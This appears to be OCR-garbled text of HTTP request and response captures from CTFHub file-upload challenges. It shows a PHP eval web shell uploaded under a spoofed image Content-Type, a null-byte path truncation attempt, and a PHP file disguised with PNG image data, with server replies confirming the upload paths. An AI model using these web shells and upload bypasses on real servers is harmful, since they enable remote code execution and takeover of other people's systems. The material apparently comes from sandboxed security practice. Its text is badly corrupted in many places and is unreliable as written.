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Request Response
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‘n  Actions v Raw Render \n  Actions v

1 POST /HTTR/1.1 1 HTTR/1.1 200 0K

Z Host: challenge-6al9c2l84bae73dl. sandbox . ct fhub . com: 10800 2 Server: openresty/1.19.3. 2

3 User-Agent: Mozilla/5. 0 (X11; Linux x86_84; rv:78.0) = Date: Thu, 03 Mar 2022 00: 43 35 GMT
Gecko/20100101 Firefox/78.0 4 Content-Type: text/html;charset=utf-8

4 Accept: 5 Content-Length: 514
text/html,application/xhtml+xml,application/xml ;g=0.9,image/web & Connection: close
p,¥/¥;g=0.8 ¥-Powered-By: PHP/7.3.14

[

u

» Accept-Language:
zh-CM,zh;g=0.8,zh-TW;g=0.7, zh-HK; g=0.5,en-US; q=0.3,en; q=0. 2

Vary: Accept-Encoding
Access-Control-Allow-Origin; #

w

& Accept-Encoding: gzip, deflate 10 Access-Control-Allow-Headers: X-Requested-With
7 Content-Type: multipart/form-data; 11 Access-Control-Allow-Methods: *
boundary=------------------oo - B52837164800808729166188115 12
a 15 =script=
& Content-Length: 357 alert( ' CfEakIn')
S Origin: =/script=
http://challenge-6al9c2184bae73d]l . sandbox . ctfhub. com: 10800 EE A EE<br=
.0 Connection: close upload/zt.php=!DOCTYPE html=
.1 Referer: 14 <html=
http://challenge-6al9c2184bae73dl . sandbox, ctThub, com: 10800, 15 <head=
.2 Upgrade-Insecure-Requests; 1 15 <metacharset="UTF-8"=
.3 17 <titles
e 5528371648008087291661881159 CTFHub 324F % - MIMELIE
.5 Content-Disposition: form-data; name="file"; filename="zt .php" =ftitle=
&[Content -Type: image/]peal | 18 =/head=
7 19 <hody=
.8 <Pphp eval ($_POST[ 'zx']] 7= 20 <hl=
B e R 5528371648008087291661881159 CTFHub 324F % - MIMELIE
0 Content-Disposition: form-data; name="submit" </hl=
E 21 =formaction="" method="post" enctype="multipart/form-data"=
22 <label for="file"=>
5528371648008087291661881159- - Filename:
=flabel=
23 <input type="file" name="file" id="file" /=
24 <hr /= . I
25 =input type="submit" name="submit" valuef!Slbiit Ty F T .20
= e Frrme

B AL IE S XA .html,.html text/html
38 A .txt text/plain
RTF3C A .rtf application/rtf
GIFE# .gif image/gif
JPEGH ¥ .jpeg,.jpg imagel/jpeg
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1 POST /?road=/var /www/html fuploadfzt . php%00 HTTR/1 |1 1 HTTP/1.1 405N
2 Host: challenge-7a996d78164dd21lc . sandbox. ct Thub . com; LOB00 2 Server: openre
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) 3 Date: Thu, O3
Gecko,/20100101 Firefox/78.0 4 Content-Type:
=1

4 Accept:
textshtml,application/xhtml+xml, application/xml;g=0.9,image/web
p. ¥/ % q=0.8
. Accept-Language: g =html=
zh-CN, zh;g=0.8,zh-TW; g=0.7,zh-HK; g=0.5,en-US; g=0.3,en;g=0.2 = <head:=

Content -Lengt
Connection: cl

wn

& Accept-Encoding: gzip, deflate =title=
7 Content-Type: multipart/form-data; 405 Mot
boundary=------------------------ 222080821964931128639552635 =ftitle=
[el=] <fhead=
2 Content-Length: 360 10 <hody=
9 Origin: 11 =center=
http://challenge-7a996d78164dd21c. sandbox . ct fhub. com: 10800 <hl=
10 Connection: close 405 Ne
11 Referer: </hl=
http://challenge-7a996d781l64dd21c. sandbox . ct fhub . com: 10800/ =fcenter=
12 Upgrade-Insecure-Requests: 1 12 <hr=
13 =centers=
I A L 22208082196459311 2863955263509 oOpenres
15 Content-Disposition: form-data; name="file";|filename="zx.jpg" =fcenter=
16 Content-Type: image/jpeg 13 </body=
17 14 =fhtml=
18 <=Tphp eval ($_POST['zx']] 7= 15
I R e il 2220808219649311 2863955263509
20 Content-Disposition: form-data; name="submit"
21
22 Submit
1 3 e 222080821 9649311 2863955263509 - -
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Request

Pretty JREE Hex . i (=

POST / HTTP/L.1

Host: challenge-58b3d7470=8a37ff.sandbox. ctfhub. com: 10800

Content-Length: €099

Cache-Control: max-age=0

Upgrade-Insecure-Recuests: 1

& Origin: http://challenge-58b3d7470e8a37ff.sandbox.ctfhub.com: 10800

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiDdwigqWW7Euxviey

2 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x£4) AppleWebKit/537.3& (KHTML, like Gecko)

Chrome/98.0.4758.102 Safari/537.36

o Accept:
text/html, application/xhtml+xml, application/=ml; gq=0.9, image/avit, image/ webp, image/apng, */ *; q
=0.8,application/signed-exchanges;v=h3;q=0.9

10 Peferer: http://challenge-58k9d4747028a37EEf. sandbox. ctfhub. com: 10800/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CMN, zh;qgq=0.9

Connesction: closs

e

—————— WehbKitFormBoundar yjDdwigWW7KuxvveT
Content-Disposition: form-data; name="file"; filename="Z.php"
Content-Type: imags/png

OFNG

THDROOD I ZSRGB® I gANAHIUA
pHYsAAGo " d7IDAT:" 1Y | xAUDN+DHES = = YYOD"#08d*0D "00HSODO» 110001604, RXEM=OF Taiag? ! ABEO " !
DOO0O"ABEO ! DODOOTABED ! DOOOO"ABEO ! DOOOO"AB@O ! DOOOO"ABRO" ! DODOO"ABED ! DOOOO"ABED !
DOOOO"AEEO" ! DODOO"AEEO ! DOOOO"ABRO" ! DI:II:IDEI"JXEI!EI‘ ! DOODO"AEEO ! DODOO"ABEO ! DODOO"ABRO" !
DOO0O"ABEO ! DODOOTABED ! DOOOO"ABEO ! DODOO"ABRO"
DEIEIDé og 1£30 TF£OLB§'I'='EIEI\A] Eumfluy"kz“lja%c 16 zmid:] §OJ.11)I>EI’U.1EIEat, Mmndvam?yt? ‘U‘H:bél:ll:md” Il léscor
P lupABnNSOf’DIganxD Qulm [Ok:0. DETnxbar
Da04AsOnnniez” *ngeOIE8G2¢B - xO1v[*uUU UM UVU-UE AROPaZ
D&sty -Em@=" TUx«:DIg¥ Nss(p&mmgno.a%m:\mi 'juvmiiipsuénm -, IGEVETS
~<BPEYid0n fwrEiph™ a1 OVnW=3+7Eém: ‘-;YDlHEIAA.«OjEDEIEIﬂt, mZ=cO0TUuX, ‘][Um{—J.I‘JEIAaBEIDI‘ *pBidamZ=£B0+1
a0
0mUJ>*0; EB>0' . R1.00!Aa0Un Ode** T2t:wwwE VeDagROA* UivEAGDAIOAYY<u* *+° | Aai<04; EODOAg{ 080~ 70
| &+ BO-cxEobef <AK " ndaéecpZu .‘ns 80Ta4: POAMLOL1I3 <07 &0y-%"7hexos AATE01 U, Dew) ONS Mg ABlic U524 ¢
1-tmiES ™ CEIcH:I@u\"UOkYn Ua"APxoxA Tiv:\ 65
532 1EAq39apE 08" A KIDAGNY JGRESeRe¥1J ON+pERFDAr <> > Gu-ON_¢ AUVVUSLpTAG" | VDL  TOLEOF - - m(s B1T
saW-00a 0%00 [I:IAcUa=v»mT—
_UG| >/ *u5 100 | Tm3phS0<n0==q® B igiDgled+h' 16, e0Eb+A1Ei0a0
0> AoAVQVOF£r UE-&p0isress 0L\ .} 60K
AxgrO#he fr " COACPDAYrPOAOL | TSUUr >0 v AquZNel>DOUD? | AEflet 2™ > 026420 [ £%01 k0 050NESOE Adas T4 16G0]
L IE30TE 10RO I-4CMO] OR-++ON§m-O4t®~ UkOO' A. AvaOTg/Gr1iid2T-VSORN _On +HS»TnUX?, 2 @3 \0Cs2
aie ./‘Dl]}:ti:lex“ Tmnotyhx ', xaaph/ IOGNSSIp 20 *5J006 ein” g=1JBOu—EIuYU T- ggoun ¥ I0;; I/»00Z00ukx
%AIAf’DL&y’w ]|AL3DN§ar9EIEIc8‘«=:aCEI)EIy~LX 111010 N§30£°EE .OEUn 3 Uis69——&-AUn— =evSpg@0{ yO
| #4000/ 45" ax<Cu=0~: A%0>0*FO%S0' E+2%* *V«Us .2 10GULvsscO0; TPPO? > 0° 208 e0EOCa0000000@o UL+ AfienOx 6 2%
rpuZDNSvAy
7Un L1 M@Y» #4-2°] 83 16010 0%w»3 Wxo *% £-OmEKOR+~EOYB] * 2070C | o% A~it: fgo~¢ baxB:ONUUayN] 61" 2" [] &
v>>0=0LyaO UlvBVO«DXPianmz] 1% 'O~=«Bi/ DbEIuEIlEkJDEIkIhnySETJJ +0e190+ ‘30faH°I>=nEI] eOUs> Adgr fi|0e
ciapivog= 0] WOMeO ) !innnl\aU Ui Anii:
5 OrEvBO=pB1] KO-Ve|%:01aphD] EDONSOOO0 A} 011 &*1>078026J0pG @ ATusVul
101’UQDO CEIaa—‘“&Aqui o Bb'i'm./as] nyyEi IWI(;DD EIanOOUN]:aDDEIra=0=tDUn 1'EI01:aEEIEIEI1'EIOra§IYnEI+

@@ &« —) Search. 0 matches

Done

Response

Raw Hex Render . iN=

1 HTTP/1l.1 200 CK

Serve: openresty/1.19.3.2

3 Date: Thu, 03 Mar 2022 03:0€:57 GMT

¢ Content-Type: text/html;:charsec=ucf-&
Content-Length: 535

Connection: close

¥-Powered-By: PHP/7.3.14

Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Access-Control-Allov-Headers: X-Requested-With
Access-Control-Allow-Nethods: *

Y

13 <script>
alert('0000")
</script>
00000000 <k >
uploacd/Z.php<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>
CTFHw» 0000 - 00000
</title>
</head>
<body>
<hl>
CTFHu> 0000 - O0O000
</hl>
<form action=
<label for=
Filename:
</ labelx
<input type="file" nams="file" id="file" />
<br />
<input type="submit" name="submit" valus="Submit" />
</ form>
</ form>
</body>

method="post"™ enctype="multipart/form-data™>
file™>

]
) </html>
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